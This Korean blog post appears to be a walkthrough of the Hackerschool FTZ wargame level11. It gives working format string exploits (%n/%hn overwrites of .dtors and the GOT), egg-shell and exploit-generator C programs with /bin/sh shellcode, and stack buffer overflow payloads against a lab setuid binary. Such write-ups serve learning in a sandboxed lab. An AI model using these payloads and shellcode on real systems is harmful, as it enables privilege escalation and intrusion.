./attackme `printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"`%8x%8x%8x%65296c%n%49351c%n
cd 명령으로 level11 디렉토리로 이동 후 위와 같이 명령을 내려 level12의 권한이 있는 attackme 파일을 실행한다.
위의 스크립트를 설명하자면
__DTOR_END__(0x08049610)의 주소인 0x08049610과 half word(2byte) 뒤의 주소인 0x08049612를 입력했는데, 이렇게 입력했을 때 char str[256] 배열에 이 두 주소값이 입력되게 될 것이다.
그리고 그 다음 "%8x" 지정자를 이용해 8byte 단위의 출력 포맷을 만들면서 포인터를 3자리 앞으로 옮긴다.
그 다음 "%65296c"을 이용해 65296byte 만큼의 출력 포맷을 만들면서 %c 지정자를 이용해 4byte 만큼 더 이동하면 포맷스트링에 의한 메모리 위치는 char str[4]의 주소일 것이다.
(이는 두 번째 \x10\x96\x04\x08 부분을 말한다.)
그리고 이 str[4] 주소에는 0x08049610이 들어 있기 때문에 %n 지정자를 이용해 %n 지정자 이전에 입력한 자릿수인 0xff38(16 + 24 + 65296)이 0x08049610에 들어간다.
16 + 24 + 65296에서
16은 "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"부분이고
24는 "%8x%8x%8x" 부분이다.
16byte인 이유는 printf() 명령을 이용했기 때문인데, 만약 printf() 명령을 이용하지 않았다면
'\', 'x', '1', '0'과 같이 개별적인 문자로 인식되어 64byte가 됐을 것이고
이렇게 되면 의도한 16진수 타입의 주소값이 들어가질 수 없게 된다.
여기까지 정리하자면
1. "%8x" 지정자 3개로 인해 포인터가 str 배열 바로 앞까지 이동된다.
2. "%65296c"에서 입력된 %c 지정자로 인해 포인터가 한 번 더 이동하여 str 배열을 가리키게 된다.
즉, 타겟주소1에 해당하는 0x08049610이 입력된 메모리 주소를 가리키게 된다.
3. %n 지정자에 의해 지금까지 입력된 16byte + 24byte + 65296byte를 모두 더한 65336byte를 16진수로 바꾼 0xff38이 0x08049610에 저장되는 것이다.
그리고 0xbfffff38을 한 번에 입력하지 않고 두 번에 나눠서 입력하는 이유가 0xbfffff38을 10진수로 바꾸면 3221225272인데 이는 정수가 표현할 수 있는 범위인 -2,147,483,648 ~ 2,147,483,647를 벗어나서 오버플로우가 되기 때문에 원하는 값을 덮어쓸 수 없기 때문이다.
그래서 원하는 값을 4byte의 주소 범위에 2byte씩 나눠서 덮어쓴 것이고, 값을 덮어쓸 때 인텔 프로세서를 사용하는 시스템이기 때문에 리틀 엔디언으로 입력한 것이다.
그리고 이제 0x08049612 주소에 0xbfff만 입력하면 되는데, 한 가지 문제점으로는 이미 65336byte를 이동한 상태라는 것이다.
필드 길이 옵션을 이용하여 값을 입력할 때는 값을 증가시킬 수는 있지만 감소시킬 수는 없다.
즉, 0xbfff - 0xff38은 -3f38로 음수가 나오기 때문에 원하는 값 0xbfff를 넣을 수 없다는 것이다.
그러므로 이럴 때는 입력해야 할 주소의 크기를 증가시켜서 이전에 출력한 byte 수를 빼는 방법을 사용하면 된다.
그렇다면 0x1bfff에서 0xff38을 빼면 0xC0C7이 되고, 이는 10진수로 49351이다.
공격 스크립트를 보면 "%49351c%n" 부분이 있는데, "%49351c" 지정자로 인해 타겟주소2로 포인터가 이동하고, 그 다음 "%n"을 이용해 타겟주소2에 있는 0x08049612 주소에 0xbfff를 쓰게 된다.
it is like this
그러면 위와 같이 셸이 떨어지게 되고 id를 입력하면 level12 권한이 보이게 된다.
"%n과 %hn의 차이"
./attackme `printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"`%8x%8x%8x%65296c%hn%49351c%hn
"%n"으로 해줘도 공격에 성공했다.
하지만 "%n"은 이전에 위에서도 언급했듯이 4byte를 쓰는데, 현재 2byte씩 나눠서 0xbfffff38을 쓰고 있다.
이렇게 "%n"으로 쓰게 되면 2byte에는 원하는 값을 쓰겠지만 옆 메모리까지 침범하여 0x0000을 입력할 것이다.
그렇기 때문에 위와 같이 "%hn"으로 해주는게 메모리 관점에서 침범 없이 공격을 잘 수행한것이다.
참고로 short 쓰기 기법을 사용할 때 쓰는 순서는 중요하지 않다.
즉, \x10\x96\x04\x08\x12\x96\x04\x08로 하든 \x12\x96\x04\x08\x10\x96\x04\x08로 하든 상관 없다는 것이다.
단, 포맷스트링 지정자는 포맷스트링 지정자에 해당하는 인자의 순서에 맞게만 써주면 된다.
Egg Shell을 이용해 공격하기(예시)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90
// 배시셸을 실행시키는 셸코드
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
// 스택포인터(SP) 를 가져오는 함수
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
char *ptr, *superSH;
char shAddr[DEFAULT_ADDR_SIZE + 1];
char cmdBuf[DEFAULT_BUFFER_SIZE];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET;
int i, supershLen=DEFAULT_SUPERDK_SIZE;
int chgDec[3];
// 셸코드를 올릴 포인터 주소에 동적 메모리 할당
if ( !(superSH = malloc(supershLen)) )
{
printf("Can't allocate memory for supershLen");
exit(0);
}
// 셸코드의 주소 읽어와서 화면에 출력
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
// 셸코드 실행 확률을 높이기 위해서, 셸코드 앞에 충분한 NOP 추가
ptr = superSH;
for(i = 0; i < supershLen - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
// NOP 뒤에 셸코드 추가
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
// 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시
superSH[supershLen - 1] = '\0';
// SUPERDK 라는 환경변수명으로 셸코드를 환경 변수에 등록
memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
putenv(superSH);
// 새로운 배시셸 실행
system("/bin/bash");
}
위의 코드는 셸코드를 환경 변수에 올리는 Egg Shell 코드이다.
위의 코드는 bash 셸를 실행하는 셸코드를 메모리의 환경변수에 등록하고, 셸코드의 환경변수 주소를 출력한 다음 bash 셸을 실행해 셸을 띄우는데, 그러면 새로 띄워진 bash 셸의 환경 변수에는 배시셸을 실행하는 셸코드가 올라가있게 되고, 해당 주소를 알아낼 수 있다.
즉, __DTOR_END__(0x08049610) 주소에 있는 값을 위의 코드의 실행 결과에서 보여 줄 환경 변수에 있는 셸코드의 주소로 덮어쓰면 된다.
그렇게 되면 attackme 프로그램이 종료되는 시점에 셸코드가 실행되면서 새로운 셸이 뜰 것이다.
/tmp 디렉토리에서 위의 에그셸 코드를 컴파일하여 실행하면 환경 변수에 올라간 셸코드의 주소가 보인다.
0xbfffedf8 주소를 __DTOR_END__(0x08049610)에 덮어쓰면 된다.
cd
/home/level11/attackme $(printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08")%8x%8x%8x%60880c%n%53807c%n
cd 명령으로 level11 디렉토리로 이동 후 위의 명령을 입력하면
성공적으로 셸이 떨어지게 되고 uid가 level12로 바뀐다.
이 상태에서 my-pass 명령을 입력하면
it is like this
위와 같이 level12의 비밀번호를 얻을 수 있다.
FSB Exploit code(예시)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define VICTIM "/home/level11/attackme"
#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90
#define HEX 16
#define FMTLEN 40
// 배시셸을 실행시키는 셸코드
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
// 스택포인터(SP) 를 가져오는 함수
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
// 소멸자의 메모리 주소
unsigned char retDtorB[] = "\\x10\\x96\\x04\\x08";
unsigned char retDtorF[] = "\\x12\\x96\\x04\\x08";
// 메모리에 있는 16진수 주소를 %정수c%n 의 정수 부분에 입력할 10진수로 바꿈
int hexToDec(char *ptrHex)
{
char hexBuf[HEX];
sprintf(hexBuf, ptrHex);
return strtol(hexBuf, NULL, HEX);
}
int main(int argc, char **argv)
{
char *ptr, *superdk;
char shAddr[DEFAULT_ADDR_SIZE + 1];
char cmdBuf[DEFAULT_BUFFER_SIZE];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET;
int i, superdksize=DEFAULT_SUPERDK_SIZE;
int chgDec[3];
// 셸코드를 올릴 포인터 주소에 동적 메모리 할당
if ( !(superdk = malloc(superdksize)))
{
printf("Can't allocate memory for superdksize");
exit(0);
}
// 셸코드의 주소 읽어와서 화면에 출력
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
sprintf(shAddr, "%x", addr);
// 셸코드 실행 확률을 높이기 위해서, 셸코드 앞에 충분한 NOP 추가
ptr = superdk;
for(i = 0; i < superdksize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
// NOP 뒤에 셸코드 추가
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
// 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시
superdk[superdksize - 1] = '\0';
// SUPERDK 라는 환경변수명으로 셸코드를 환경 변수에 등록
memcpy(superdk, "SUPERDK=", DEFAULT_ADDR_SIZE);
putenv(superdk);
// %정수c%n 의 정수값을 계산
chgDec[0] = hexToDec(argv[2]);
chgDec[1] = hexToDec(argv[3]);
chgDec[3] = chgDec[0] - FMTLEN;
if(chgDec[0] > chgDec[1])
{
chgDec[1] += hexToDec("10000");
chgDec[1] = chgDec[1] - chgDec[0];
}
// 명령어 완성
sprintf(cmdBuf, "%s $(printf \"AAAA%sAAAA%s\")%%8x%%8x%%8x%%%dc%%n%%%dc%%n", VICTIM, retDtorB, retDtorF, chgDec[3], chgDec[1]);
// 완성된 명령어 실행
system(cmdBuf);
}
포맷스트링 절대값 지정자(인자에 직접 접근)
`printf "낮은주소낮은주소높은주소높은주소"`%8x%8x%8x%정수c%n%정수c%n
or
$(printf "낮은주소낮은주소높은주소높은주소")%8x%8x%8x%정수c%n%정수c%n
이전에 위에서 포맷스트링을 이용해 공격할 때 스크립트로 공격하는 부분을 보면 위와 같이 공격 스크립트가 구성되어 있었다.
위의 공격 스크립트에서 먼저 입력된 낮은 주소와 높은 주소는 사실 사용되지 않는 값이다.
`printf "aaaa낮은주소bbbb높은주소"`%8x%8x%8x%정수c%n%정수c%n
or
$(printf "aaaa낮은주소bbbb높은주소")%8x%8x%8x%정수c%n%정수c%n
따라서 위와 같이 입력해서 공격을 하더라도 공격에 성공한다.
그리고 일반적으로 스크립트를 짤 때 위와 같이 작성하기도 한다.
그리고 포맷 스트링 지정자는 상대적인 위치 이동과 절대적인 위치 이동이 가능한데, 상대적인 위치 이동은 이전에 위에서 쭉 사용하던 방식이고, 절대적인 위치 이동은 인자에 직접 접근하는 방법이라고도 불린다.
이전에 위에서 short 쓰기 기법은 포맷 스트링 공격을 단순화하는 방법들 중 하나인 방법이라고 했었다.
인자에 직접 접근하는 절대적인 위치 이동 방법 역시 포맷 스트링 공격을 단순화 하는 방법들 중 하나인 방법이다.
%n$d
or
%n$x
or
%n$c
포맷스트링 인자를 사용할 때 인자에 직접 접근하는 방법은 위와 같이 작성하여 사용할 수 있는데, 대표적으로 3가지 예시를 들었다.
의미는 n 번째에 해당하는 인자에 바로 접근하여 각 포맷스트링 지정자에 맞게 값을 처리한다.
./attackme `printf "aaaa\x10\x96\x04\x08bbbb\x12\x96\x04\x08"`%65320x%5\$hn%49351x%7\$hn
or
./attackme $(printf "aaaa\x10\x96\x04\x08bbbb\x12\x96\x04\x08")%65320x%5\$hn%49351x%7\$hn
위의 공격 스크립트를 보면 뭔가 조금 많이 달라졌을 것이다.
먼저, 0xff38을 0x08049610 주소에 넣기 위한 포맷스트링 지정자의 필드 길이 옵션의 값이 달라졌다.
이는 이전에 있던 "%8x%8x%8x"가 출력하던 24byte가 없어졌기 때문에 65336byte에서 40byte가 아닌 16byte를 뺐기 때문이다.
그리고 이전에 "%x%x%x%c%n"과 같은 형식에서 4번째에 있는 포맷스트링 지정자부터 포맷스트링에 있던 "aaaa" 부분에 접근했기 때문에 포맷스트링 지정자의 인자에 직접 접근 방법을 사용할 때는 5를 적어줌으로써 "aaaa" 다음에 있는 "\x10\x96\x04\x08"에 바로 접근하도록 했다.
이렇게 포맷스트링 지정자의 직접 인자 접근 방법을 사용하면 더 단순한 공격 스크립트를 만들어 공격할 수 있다.
BOF
위의 코드는 level11 문제의 코드이다.
FSB 취약점이 있지만 그와 동시에 버퍼 오버플로우 취약점도 함께 존재한다.
위의 코드를 보면 입력을 받아 모든 입력값을 str[256] 배열에 넣기 때문에 실제로 입력할 수 있는 문자수는 무제한이지만, 이 코드에 존재하는 버퍼 오버플로우 취약점 때문에 RET 주소를 덮어쓰기 전까지의 문자열 입력만 정상적으로 처리된다.
(입력할 수 있는 문자수가 문제한이라는 것은 입력 문자열 길이를 검사하지 않는다는 의미로 실제 시스템에서는 segmentation fault 오류를 반환한다.)
attackme 파일을 gdb로 열어 main 함수 부분을 보면 위와 같다.
attackme 파일의 코드에서는 256byte를 할당했었는데 위의 어셈블리어에서 procedure prelude(함수 프롤로그 부분)을 보면 0x108(264)byte를 확보한 것을 확인할 수 있다.
낮은 주소 | 256byte | 8byte | 4byte | 4byte | 높은 주소 |
char str[256] | dummy | SFP | RET |
낮은 주소 | |
256byte | char str[256] |
8byte | dummy |
4byte | SFP |
4byte | RET |
높은 주소 |
그리하여 스택의 구조는 위와 같다.
위의 스택 구조를 보면 272byte를 입력하면 RET 부분이 덮어씌워진다는 것을 알 수 있다.
level11에서 제시된 소스코드는 입력으로 256byte나 받고 있고, 보통의 셸코드는 이보다 훨씬 짧기 때문에 셸코드를 입력해서 str[256] 배열의 주소를 RET 주소로 바꾼다면 셸이 떨어질 것이다.
물론 정확하게 BOF 공격을 성공시키려면 입력값으로 NOP와 셸코드를 합한 길이를 268byte만큼 입력하고, 그 이후의 4byte를 NOP + shellcode의 시작 부분에 해당하는 주소로 덮어쓰면 된다.
스택의 주소를 알아내어 공격 스크립트로 공격하기(실패로 인해 읽어보기만을 권장)
먼저 RET 주소에 덮어쓸 스택 주소를 알아보기 위해 gdb를 연다.
b * 0x080484a0
r `python -c 'print "a" * 264'`
i r $eip
그리고 위와 같이 명령을 입력한 후 정상적으로 실행이 됐다면 스택이 보이고, 스택에는 0x61이 쓰여진 char str[256]에 해당되는 영역이 보일텐데 현재는 위와 같이 권한 관련 이슈로 인해 불가능하다.
원래대로 스택이 보였다면 0x61이 적힌 스택 범위에서 중간 쯤에 있는 주소를 RET 주소에 입력하면 된다.
글로는 설명이 충분하지 않을 수 있기 때문에 /tmp 디렉토리로 이동해 복사한 attakme 파일을 예시로 설명을 하자면
위와 같이 0x61로 덮인 스택 범위가 보일 것이다.
이 중 적당한 위치로 보이는 곳의 주소를 RET 영역에 덮어쓰는 것이다.
예를 들어 0xbfffec50으로 해보겠다.
./attackme `python -c 'print "\x90" * 223 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x50\xec\xff\xbf"'`
위와 같이 공격 스크립트를 입력하면 된다.
하지만 지금은 /tmp 디렉토리에 복사해둔 attackme 파일에 공격하는 것이므로 공격 스크립트가 먹히지 않을 것이고, level11 디렉토리에 있는 attackme 파일에 위의 스크립트를 사용한다고하면 당연히 RET 주소에 덮어씌워지는 0xbfffec50은 /tmp 디렉토리에 있는 attackme 파일을 분석해서 나온 스택 주소이므로 공격이 되지 않을 것이다.
환경 변수에 등록된 셸코드 주소를 이용해 BOF 공격 - sh 환경 변수에 담긴 셸코드와 getenv 이용
cd tmp
./getenv sh
sh 환경 변수의 주소는 0xbffffed9이다.
cd
./attackme `python -c 'print "a" * 264 + "bbbb" + "\xd9\xfe\xff\xbf"'`
위와 같이 level11 디렉토리로 이동하여 공격 스크립트를 입력해 공격하면 shell을 딸 수 있다.
"a"를 264개 입력한 건 char str[256] + dummy 영역을 위한 것이고, "bbbb"는 SFP 영역을 위한 것이다.
환경 변수에 등록된 셸코드 주소를 이용해 BOF 공격 - shellcode 환경 변수에 담긴 셸코드와 getenvaddr 이용
cd tmp
./getenvaddr shellcode ./attackme
shellcode 환경 변수의 주소는 0xbfffff38이다.
cd
./attackme `python -c 'print "a" * 264 + "bbbb" + "\x38\xff\xff\xbf"'`
위와 같이 level11 디렉토리로 이동하여 공격 스크립트를 입력해 공격하면 shell을 딸 수 있다.
"a"를 264개 입력한 건 char str[256] + dummy 영역을 위한 것이고, "bbbb"는 SFP 영역을 위한 것이다.
BOF exploit 코드(예시)
#include <stdio.h>
#include <stdlib.h>
#define VICTIM "/home/level11/attackme "
#define NOP 0x90
#define BUFSIZE 272 /* NOP(219) + shellcode(45) + sfp(4) + ret(4)*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
"\x55\xf2\xff\xbf";
int main( )
{
char cmdBuf[BUFSIZE];
int i, j, shellLen;
shellLen = strlen(shellcode);
for(i=0; i<sizeof(cmdBuf)-shellLen; i++)
cmdBuf[i] = NOP;
printf("I : %d\n", i);
for(j=0; j<shellLen; j++)
cmdBuf[i++] = shellcode[j];
printf("I : %d \n", i);
execl(VICTIM, VICTIM, cmdBuf, 0);
}
PLT와 GOT
objdump -h ./attackme | grep -A1 "\ .plt\ "
PLT(Procedure Linkage Table) : 읽기 전용인 영역으로 여러 jump 명령으로 구성돼있고, 각 명령은 함수의 주소와 대응한다.
프로그램에서 공유 함수를 호출할 일이 있으면 프로그램의 제어가 PLT로 넘어간다.
GOT(Global Offset Table) : 전역 오프셋 테이블이다.
프로그램은 공유 라이브러리에 있는 함수를 사용할 일이 많기 때문에 프로그램 내부에 모든 함수의 참조 테이블을 갖고 있는 것이 효율적이다.
그리고 컴파일된 프로그램에 포함돼 있는 프로시저 연결 테이블(PLT)라는 특수 섹션을 이런 목적에 쓴다.
plt는 여러 jump 명령으로 구성돼있는데, 이 jump 명령은 함수가 위치한 주소로 바로 점프하는 것이 아니라 해당 함수가 위치한 주소를 가키리는 포인터 주소로 jump 한다.
예를 들어 printf() 함수의 실제 주소가 0x08049628일 때 jmp 0x08049628이 아니라 jmp *0x08049628이라는 것이다.
그리고 함수의 주소들은 GOT라는 섹션에 저장되어 있는데, 프로그램은 호출하려는 함수의 주소를 GOT에서 찾은 후 PLT를 통해 해당 함수의 주소로 jump 하는 것이다.
또한 바이너리 파일마다 GOT 항목이 고정되어 있다.
그래서 서로 다른 시스템이라 할지라도 같은 바이너리 파일을 사용하면 같은 주소에서 같은 GOT 항목을 찾을 수 있는 것이다.
그리하여 해커의 관점에서 이 GOT에 있는 함수의 주소를 셸코드의 주소로 바꾸면 프로그램은 호출하려는 함수의 주소를 GOT에서 찾고, PLT를 이용해 해당 함수의 주소로 jump 하는데, 해당 주소에는 셸코드가 있기 때문에 shell 을 딸 수 있는 것이다.
위와 같이 이진 파일의 동적 재배치 항목을 출력해 함수의 주소를 알아낼 수 있다.
위 출력을 보면 printf() 함수의 주소가 GOT의 0x0804962c에
setreuid() 함수의 주소가 GOT의 0x08049630에
strcpy() 함수의 주소가 GOT의 0x08049634 주소에 있다는 것을 알 수 있다.
./attackme `printf "\x2c\x96\x04\x08\x2e\x96\x04\x08"`%65328x%4\$hn%49351x%5\$hn
printf() 함수의 주소를 예로 들어 공격하면 위와 같이 스크립트를 짤 수 있고, 위와 같이 printf() 함수 주소를 가지고 있는 GOT의 0x0804962c 주소에 셸코드가 담긴 환경 변수의 주소를 넣으면 된다.
(그런데 어째서인지 실제 FTZ 에서는 shell이 떨이지지 않는다?)
'전쟁 > hackerschool ftz' 카테고리의 다른 글
[hackerschool FTZ] level13스택 가드(stack canary, 스택 카나리) (0) | 2024.01.03 |
---|---|
[hackerschool FTZ] level12(BOF)(+공유 라이브러리 내 정보를 이용하여 공격 스크립트 작성) (0) | 2024.01.02 |
[hackerschool FTZ] level10(공유 메모리에 데이터 읽고 쓰기) (0) | 2022.12.22 |
[hackerschool FTZ] level9(BOF 입문, 여러 shell script들) (0) | 2022.12.18 |
[hackerschool FTZ] level8(패스워드 크랙) (0) | 2022.12.16 |